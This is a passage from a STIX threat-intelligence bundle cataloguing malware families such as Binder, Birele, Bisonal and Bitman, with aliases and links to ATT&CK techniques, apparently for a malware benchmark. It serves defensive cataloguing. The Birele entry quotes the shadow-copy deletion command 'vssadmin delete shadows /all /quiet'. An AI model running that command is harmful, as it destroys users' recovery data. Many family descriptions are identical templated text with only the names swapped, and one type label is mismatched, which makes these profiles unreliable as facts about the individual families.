      "description": "Binder (cataloged across cybersecurity vendors under detections including HackTool:Win32/Binder, Trojan:Win32/Binder, and Win32/Binder) is a broad classification for malicious file joiner and binder utility frameworks active since 2005. Engineered to merge two or more independent files into a single compiled executable wrapper stub, Binder utilities are widely abused by threat actors to disguise malicious payloads inside seemingly harmless carrier programs (such as games, software installers, screen savers, or multimedia documents). When a victim launches the bound binary, the wrapper silently extracts the decoy application to %Temp% and executes it in the foreground to eliminate suspicion, while simultaneously unpacking, executing, and persisting the concealed secondary payload\u2014such as a remote access trojan (RAT), infostealer, keylogger, or cryptominer\u2014in the background without user interaction. (Observed samples in benchmark: 87)",
      "is_family": true,
      "malware_types": [
        "exploit-kit"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool:Win32/Binder",
        "Trojan:Win32/Binder",
        "Win32/Binder",
        "FileBinder"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Binder",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/binder"
        }
      ],
      "labels": [
        "hacktool",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--59c4c1b0-f2e6-51e0-98a9-1fdd9126a5d7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1036.002: Masquerading: Right-to-Left Override",
      "description": "MITRE ATT&CK Technique T1036.002 (Masquerading: Right-to-Left Override) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1036.002",
          "url": "https://attack.mitre.org/techniques/T1036/002/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d3a5e0b1-40ac-5abd-afdf-01728bd5761d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1d69251e-7587-5d98-b89e-ea4fc71db617",
      "target_ref": "attack-pattern--59c4c1b0-f2e6-51e0-98a9-1fdd9126a5d7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Binder exhibits technique T1036.002 (Masquerading: Right-to-Left Override)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ff6609ed-b5d5-50b5-b76d-6b63fea2dad9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1d69251e-7587-5d98-b89e-ea4fc71db617",
      "target_ref": "attack-pattern--89bb64be-8bd1-5742-b788-353d7c078045",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Binder exhibits technique T1036.004 (Masquerading: Keep Original File Name)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--55528033-6691-5241-8373-056caa344db3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1d69251e-7587-5d98-b89e-ea4fc71db617",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Binder exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5d9bbd81-04f8-5320-bbb3-ce246935fbab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1d69251e-7587-5d98-b89e-ea4fc71db617",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Binder exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ea0559e7-6e20-53ef-899e-ffff62218e24",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1d69251e-7587-5d98-b89e-ea4fc71db617",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Binder exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--72a4b1ba-1e63-5941-8bbb-26167f50ab7c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Binderon",
      "description": "Binderon (classified in antivirus detection telemetry under designations including Ransom:Win32/Binderon, Ransom.Win32.Binderon, and Win32/Binderon) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Binderon executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Binderon",
        "Downloader.Binderon",
        "Win32/Binderon",
        "Ransom:Win32/Binderon",
        "Ransom.Win32.Binderon"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Binderon",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/binderon"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--faa58cf4-6eb1-51d8-9028-faddc74bd650",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--72a4b1ba-1e63-5941-8bbb-26167f50ab7c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Binderon exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e2d5baea-c59b-5ba6-a244-85c2d682312d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--72a4b1ba-1e63-5941-8bbb-26167f50ab7c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Binderon exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--695d977d-656a-5859-bcad-467336a90ad6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--72a4b1ba-1e63-5941-8bbb-26167f50ab7c",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Binderon exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e0dfb0cc-7fc5-5bbf-b860-7ef99c789ee6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bindex",
      "description": "Bindex (classified in antivirus detection telemetry under designations including Ransom:Win32/Bindex, Ransom.Win32.Bindex, and Win32/Bindex) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bindex executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Bindex",
        "Downloader.Bindex",
        "Win32/Bindex",
        "Ransom:Win32/Bindex",
        "Ransom.Win32.Bindex"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bindex",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bindex"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1ab5564c-fbc6-5ce6-9a6d-19f0f65d5cbd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e0dfb0cc-7fc5-5bbf-b860-7ef99c789ee6",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bindex exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--448eba0e-0975-55c5-9840-b0ccc4be9cef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e0dfb0cc-7fc5-5bbf-b860-7ef99c789ee6",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bindex exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c1f98b46-3d83-5521-a2db-6f01d32de82b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e0dfb0cc-7fc5-5bbf-b860-7ef99c789ee6",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bindex exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a34d8b2b-6074-5d5c-b766-a0262e36779d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bindjpg",
      "description": "Bindjpg (classified in antivirus detection telemetry under designations including Trojan:Win32/Bindjpg, Trojan.Win32.Bindjpg, and Win32/Bindjpg) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bindjpg executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.BindJPG",
        "Exploit.Win32.BindJPG",
        "Trojan-Dropper.Win32.Bind",
        "Trojan:Win32/Bindjpg",
        "Trojan.Win32.Bindjpg",
        "Win32/Bindjpg"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bindjpg",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bindjpg"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--4481688a-8575-5616-a5d0-9b36b9db0d8f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1027.003: Obfuscated Files or Information: Steganography",
      "description": "MITRE ATT&CK Technique T1027.003 (Obfuscated Files or Information: Steganography) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1027.003",
          "url": "https://attack.mitre.org/techniques/T1027/003/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d8ccd97e-57b5-5819-9c43-36ab3d75691b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a34d8b2b-6074-5d5c-b766-a0262e36779d",
      "target_ref": "attack-pattern--4481688a-8575-5616-a5d0-9b36b9db0d8f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bindjpg exhibits technique T1027.003 (Obfuscated Files or Information: Steganography)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1e6ad60b-bef3-51de-a9fb-d78d967bb19c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a34d8b2b-6074-5d5c-b766-a0262e36779d",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bindjpg exhibits technique T1204.002 (User Execution: Malicious File (Relying on the user to execute the unique payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e590555d-8523-5b33-b48e-34d28fe0c3f1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a34d8b2b-6074-5d5c-b766-a0262e36779d",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bindjpg exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f9158011-34f0-55c5-9e34-78303f5ab381",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Birele",
      "description": "Birele (classified across commercial antivirus and EDR solutions under designations including Ransom:Win32/Birele, Trojan-Ransom.Win32.Birele, and Ransom.Birele) is a targeted crypto-ransomware family designed to execute destructive file encryption against Windows endpoints and corporate network storage. Distributed through targeted phishing emails, exposed Remote Desktop Protocol (RDP) brute-force compromises, and malicious loader frameworks, Birele prioritizes speed and evasion during its attack lifecycle. Upon initial execution, it queries local logical drives and enumerates Server Message Block (SMB) network shares to compile an extensive target inventory. Birele employs a hybrid cryptographic scheme combining AES-256 in CBC mode for bulk data encryption with an embedded RSA public master key to lock per-file encryption keys. It appends custom file extensions to encrypted documents, databases, archives, and system images, leaving ransom notes detailing extortion demands and communication channels. To maximize recovery difficulty, Birele executes commands via cmd.exe to delete Volume Shadow Copies (`vssadmin delete shadows /all /quiet`) and disable Windows Startup Recovery. (Observed samples in benchmark: 16)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Birele",
        "Trojan-Ransom.Win32.Birele",
        "Win32/Birele",
        "Birele Ransomware",
        "Ransom.Birele"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Birele",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/birele"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aa05539c-4e46-564e-af61-03f8ef8d353c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f9158011-34f0-55c5-9e34-78303f5ab381",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Birele exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4e2bcf44-c23f-585d-96bf-20a654ba39d4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f9158011-34f0-55c5-9e34-78303f5ab381",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Birele exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7719f79f-09c7-5f96-bee6-525d81db055a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f9158011-34f0-55c5-9e34-78303f5ab381",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Birele exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9eaf4b58-e7ca-58d1-b509-747150c351cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f9158011-34f0-55c5-9e34-78303f5ab381",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Birele exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--74175194-524b-5d93-b1d2-ffeab04e8642",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f9158011-34f0-55c5-9e34-78303f5ab381",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Birele exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--24b05288-e334-5e69-8a23-a9e187aa130c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bisonal",
      "description": "Bisonal (classified in antivirus detection telemetry under designations including Trojan:Win32/Bisonal, Trojan.Win32.Bisonal, and Win32/Bisonal) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bisonal executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Bisonal",
        "Trojan.Win32.Bisonal",
        "Win32/Bisonal"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bisonal",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bisonal"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3390eb82-e881-5a78-b96c-56345b8f316e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--24b05288-e334-5e69-8a23-a9e187aa130c",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bisonal exhibits technique T1566.001 (Phishing: Spearphishing Attachment (Primary initial access vector))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--18c3af0d-af6b-5e70-a543-fd2684336c41",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--24b05288-e334-5e69-8a23-a9e187aa130c",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bisonal exhibits technique T1059 (Command and Scripting Interpreter (Providing the backdoor shell))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bd33e6f2-e8a8-5f84-afca-57ff9c512608",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--24b05288-e334-5e69-8a23-a9e187aa130c",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bisonal exhibits technique T1543.003 (Create or Modify System Process: Windows Service (Establishing deep persistence))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2e9acbec-5a33-58d8-9870-d9f126c968b9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--24b05288-e334-5e69-8a23-a9e187aa130c",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bisonal exhibits technique T1041 (Exfiltration Over C2 Channel (Stealing classified data))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--03280cc5-b35d-50e8-bf25-bdb580b44e61",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bitcovar",
      "description": "Bitcovar (classified in antivirus detection telemetry under designations including Ransom:Win32/Bitcovar, Ransom.Win32.Bitcovar, and Win32/Bitcovar) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bitcovar executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Bitcovar",
        "Ransom.Win32.Bitcovar",
        "Win32/Bitcovar"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bitcovar",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bitcovar"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d99fd5bb-f5db-50b3-a1f3-746fdc6fa210",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--03280cc5-b35d-50e8-bf25-bdb580b44e61",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bitcovar exhibits technique T1486 (Data Encrypted for Impact (The core function of the ransomware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--531c2a58-b373-5f06-86a6-34bc1345f4b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--03280cc5-b35d-50e8-bf25-bdb580b44e61",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bitcovar exhibits technique T1490 (Inhibit System Recovery (Deleting Shadow Copies to prevent restoration))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e7811e25-13a6-5a3b-8cec-5cee901007b0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--03280cc5-b35d-50e8-bf25-bdb580b44e61",
      "target_ref": "attack-pattern--31d6d05d-adfe-5580-9365-20731a0168a5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bitcovar exhibits technique T1012 (Query Registry (Identifying mounted drives and network shares to encrypt))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1cc1feb3-f5b7-5903-a046-afb9c542abb1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bitman",
      "description": "Bitman (classified in antivirus detection telemetry under designations including Ransom:Win32/Bitman, Ransom.Win32.Bitman, and Win32/Bitman) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bitman executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Bitman",
        "Ransom.Win32.Bitman",
        "Win32/Bitman"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bitman",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bitman"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--543f015c-39c5-5bcc-8ff5-3378fd3dc983",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1cc1feb3-f5b7-5903-a046-afb9c542abb1",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bitman exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--953710e4-c706-5fd8-bbf1-a5653398d246",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
